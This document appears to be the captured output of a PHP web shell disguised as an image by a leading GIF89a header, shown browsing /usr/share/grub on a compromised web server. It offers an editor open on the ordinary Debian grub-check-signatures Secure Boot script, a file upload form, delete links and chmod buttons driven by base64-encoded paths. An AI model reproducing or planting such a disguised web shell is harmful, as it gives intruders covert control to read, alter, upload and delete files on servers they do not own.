GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>grub-check-signatures<form method=post action="?d=L3Vzci9zaGFyZS9ncnVi&f=Z3J1Yi1jaGVjay1zaWduYXR1cmVz"><input name="f" value="grub-check-signatures"><textarea name="t">#!/bin/sh

set -e

. /usr/share/debconf/confmodule

# Check if we are on an EFI system
efivars=/sys/firmware/efi/efivars
secureboot_var=SecureBoot-8be4df61-93ca-11d2-aa0d-00e098032b8c
moksbstatert_var=MokSBStateRT-605dab50-e046-4300-abb6-3dd810dd8b23
tmpdir=$(mktemp -d)

on_secure_boot() {
	# Validate any queued actions before we go try to do them.
	local moksbstatert=0

	if ! [ -d $efivars ]; then
		return 1
	fi

	if ! [ -f $efivars/$secureboot_var ] \
		|| [ &quot;$(od -An -t u1 $efivars/$secureboot_var | awk '{ print $NF }')&quot; -ne 1 ]
	then
		return 1
	fi

	if [ -f /proc/sys/kernel/moksbstate_disabled ]; then
		moksbstatert=$(cat /proc/sys/kernel/moksbstate_disabled 2&gt;/dev/null || echo 0)
	elif [ -f $efivars/$moksbstatert_var ]; then
		# MokSBStateRT set to 1 means validation is disabled
		moksbstatert=$(od -An -t u1 $efivars/$moksbstatert_var | \
					   awk '{ print $NF; }')
	fi

	if [ $moksbstatert -eq 1 ]; then
		return 1
	fi

	return 0
}

# Retrieve the keys we do trust from PK, DB, KEK, and MokList.
extract_known_keys() {
	# Make the Canonical CA cert available for validation too; in case
	# MokListRT is empty due to a bug.
	cp /usr/share/grub/canonical-uefi-ca.crt $tmpdir

	# Extract known UEFI certs from firmware variables
	( cd $tmpdir; \
		mokutil --export --db &gt;/dev/null 2&gt;/dev/null; \
		mokutil --export --mok &gt;/dev/null 2&gt;/dev/null; )
	find $tmpdir -name &quot;*.der&quot; -exec openssl x509 -inform der -in {} -outform pem -out {}.crt  \;
}

# Check if a given kernel image is signed
is_signed() {
	kernel=$1
	tmp=$(mktemp)
	kernel_tmp=$(mktemp)
	if zcat $kernel &gt; $kernel_tmp 2&gt;/dev/null; then
		kernel=$kernel_tmp
	fi
	sbattach --detach $tmp $kernel &gt;/dev/null 2&gt;/dev/null 	# that's ugly...
	test &quot;$(wc -c &lt; $tmp)&quot; -ge 16	# Just _some_ minimum size
	result=$?
	if [ $result -eq 0 ]; then
		sig_subject=$(openssl pkcs7 -inform der -in $tmp -print_certs | openssl x509 -noout -text | grep Subject: )
	fi
	rm $tmp
	if [ $result -eq 0 ]; then
		for crtfile in $tmpdir/*.crt; do
			sbverify --cert $crtfile $kernel &gt;/dev/null 2&gt;/dev/null
			result=$?
			if [ $result -eq 0 ]; then
				rm &quot;$kernel_tmp&quot;
				return $result;
			fi
		done
		echo &quot;$1 is signed, but using an unknown key:&quot; &gt;&amp;2
		echo &quot;$sig_subject&quot; &gt;&amp;2
	else
		echo &quot;$1 is unsigned.&quot; &gt;&amp;2
	fi
	rm &quot;$kernel_tmp&quot;
	return $result
}

# Check that our current kernel and every newer one is signed
find_unsigned() {
	uname_r=&quot;$(uname -r)&quot;
	for kernel in $(ls -1 /boot/vmlinuz-* | sort -V -r); do
		# no kernels :(
		if [ &quot;$kernel&quot; = &quot;/boot/vmlinuz-*&quot; ]; then
			break
		fi
		this_uname_r=&quot;$(echo &quot;$kernel&quot; | sed -r 's#^/boot/vmlinuz-(.*)#\1#; s#\.efi\.signed$##')&quot;
		if dpkg --compare-versions &quot;$this_uname_r&quot; lt &quot;$uname_r&quot;; then
			continue
		fi
		if [ -e &quot;$kernel.efi.signed&quot; ]; then
			continue
		fi
		if ! is_signed $kernel; then
			echo &quot;$this_uname_r&quot;
		fi
	done
}

# Only reached from show_warning
error() {
	echo &quot;E: Your kernels are not signed with a key known to your firmware. This system will fail to boot in a Secure Boot environment.&quot; &gt;&amp;2
	exit 1
}

# Either shows a debconf note or prints an error with error() above if
# that fails
show_warning() {
	# kernels should be an indented list of one version per line
	escaped=&quot;$(printf &quot;%s&quot; &quot;$unsigned&quot; | sed &quot;s#^#     #&quot; | debconf-escape -e )&quot;
	db_capb escape
	db_settitle grub2/unsigned_kernels_title || error
	db_fset grub2/unsigned_kernels seen 0 || error
	db_subst grub2/unsigned_kernels unsigned_versions &quot;$escaped&quot; || error
	db_input critical grub2/unsigned_kernels || error
	db_go || error
	error
}

if on_secure_boot; then
	extract_known_keys
	unsigned=&quot;$(find_unsigned)&quot;
	if [ -n &quot;$unsigned&quot; ]; then
		show_warning &quot;$unsigned&quot;
	fi
	rm -rf &quot;$tmpdir&quot;
fi
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/grub<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=YXNjaWkuaA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=YXNjaWkuaA=="/>ascii.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=YXNjaWkuaA==&c=`+btoa(c):0" value="0644"></td><td>12506</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=YXNjaWkucGYy">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=YXNjaWkucGYy"/>ascii.pf2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=YXNjaWkucGYy&c=`+btoa(c):0" value="0644"></td><td>5012</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=Y2Fub25pY2FsLXVlZmktY2EuY3J0">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=Y2Fub25pY2FsLXVlZmktY2EuY3J0"/>canonical-uefi-ca.crt</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=Y2Fub25pY2FsLXVlZmktY2EuY3J0&c=`+btoa(c):0" value="0644"></td><td>1517</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ncnViL2RlZmF1bHQ="/>default</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=ZGVmYXVsdA==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=ZXVyby5wZjI=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=ZXVyby5wZjI="/>euro.pf2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=ZXVyby5wZjI=&c=`+btoa(c):0" value="0644"></td><td>52241</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=Z3J1Yi1jaGVjay1zaWduYXR1cmVz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=Z3J1Yi1jaGVjay1zaWduYXR1cmVz"/>grub-check-signatures</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=Z3J1Yi1jaGVjay1zaWduYXR1cmVz&c=`+btoa(c):0" value="0755"></td><td>3695</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=Z3J1Yi1ta2NvbmZpZ19saWI=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=Z3J1Yi1ta2NvbmZpZ19saWI="/>grub-mkconfig_lib</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=Z3J1Yi1ta2NvbmZpZ19saWI=&c=`+btoa(c):0" value="0644"></td><td>10342</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=dW5pY29kZS5wZjI=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=dW5pY29kZS5wZjI="/>unicode.pf2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=dW5pY29kZS5wZjI=&c=`+btoa(c):0" value="0644"></td><td>2411806</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&x=d2lkdGhzcGVjLmg=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ncnVi&f=d2lkdGhzcGVjLmg="/>widthspec.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ncnVi&f=d2lkdGhzcGVjLmg=&c=`+btoa(c):0" value="0644"></td><td>49238</td></tr></table>